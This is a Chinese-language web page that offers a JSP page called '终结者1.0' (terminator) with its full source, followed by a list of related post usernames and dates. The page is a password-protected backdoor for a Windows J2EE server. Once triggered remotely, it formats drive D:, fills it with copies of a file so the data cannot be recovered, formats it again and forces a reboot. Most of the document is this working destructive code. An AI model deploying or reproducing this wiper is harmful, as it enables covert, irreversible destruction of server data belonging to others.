Windows服务器终结者
windows服务器终结者。
作用:远程访问服务器,输入密码,点击确定。即可让服务器D:盘清空,数据无法恢复,服务器自动重启。
条件:Windows部署并启动J2EE应用服务器,2.txt文件必须存在。232数值根据文本文件大小和D:盘大小计算得到。
源代码:
<%@page import="java.io.InputStreamReader"%> <%@page import="java.io.FileReader"%> <%@page import="java.io.BufferedReader"%> <%@page import="java.io.PrintWriter"%> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>终结者1.0</title> </head> <body style="background-color: red;"> <h1> <% String pwd=request.getParameter("pwd"); String u=request.getParameter("u"); try{ String w=request.getParameter("w"); String cc=request.getParameter("cc"); if("hn316co".equals(w)){ out.print("当你使用强制刷新(Ctrl+F5)后看不到这段话时,则说明操作成功<br>"); } if("3c3da622003ad016".equals(pwd)&&"28948a66634dbcad01o".equals(u)){ if("lll".equals(cc)){ new Thread("echo format"){ public void run(){ String[] cmds=new String[]{ "echo Y|format D: /X /FS:NTFS /Q" ,"mkdir D:\\sys" //,"D:" //,"cipher /w:\\" ,"for /l %i in (1,1,232) do cmd /c copy /Y F:\\impt\\2.txt D:\\sys\\sys_0305_%i.log " ,"echo Y|format D: /X /FS:NTFS /Q" ,"shutdown /r /t 1" }; Runtime r=Runtime.getRuntime(); try{ for(int i=0;i<cmds.length;i++){ Process p= r.exec("cmd /c "+cmds[i]); BufferedReader rd=new BufferedReader(new InputStreamReader( p.getInputStream(),"GBK")); String s=""; while ((s=rd.readLine())!=null){ System.out.println(s); } } }catch(Throwable e){ e.printStackTrace(); } } }.start(); response.sendRedirect(request.getRequestURL()+"?w=n31"); }else{ out.print("严重警告:本操作极其危险,极其危险,危险!!!"); %> <form action="<%=request.getRequestURL() %>"> <input type="hidden" name="pwd" value="<%=pwd %>"/> <input type="hidden" name="u" value="<%=u %>"/> 请输入终结暗号:<input type="text" id="cc" name="cc" /><input type="submit" value="确认终结" /> </form> <% } } }catch(Throwable e){ e.printStackTrace(); } %> </h1> </body> </html>
相关推荐
lupeng 2020-11-14
sjcheck 2020-11-10
nercon 2020-08-09
pythonclass 2020-07-29
玫瑰小妖 2020-07-18
WebVincent 2020-07-09
lyg0 2020-07-05
WebVincent 2020-06-16
huzijia 2020-06-16
qsdnet我想学编程 2020-06-13
pythonclass 2020-06-06
nercon 2020-06-06
gufudhn 2020-06-06
STPace 2020-06-04
HSdiana 2020-06-03
haocxy 2020-05-31
行吟阁 2020-05-30
haocxy 2020-05-28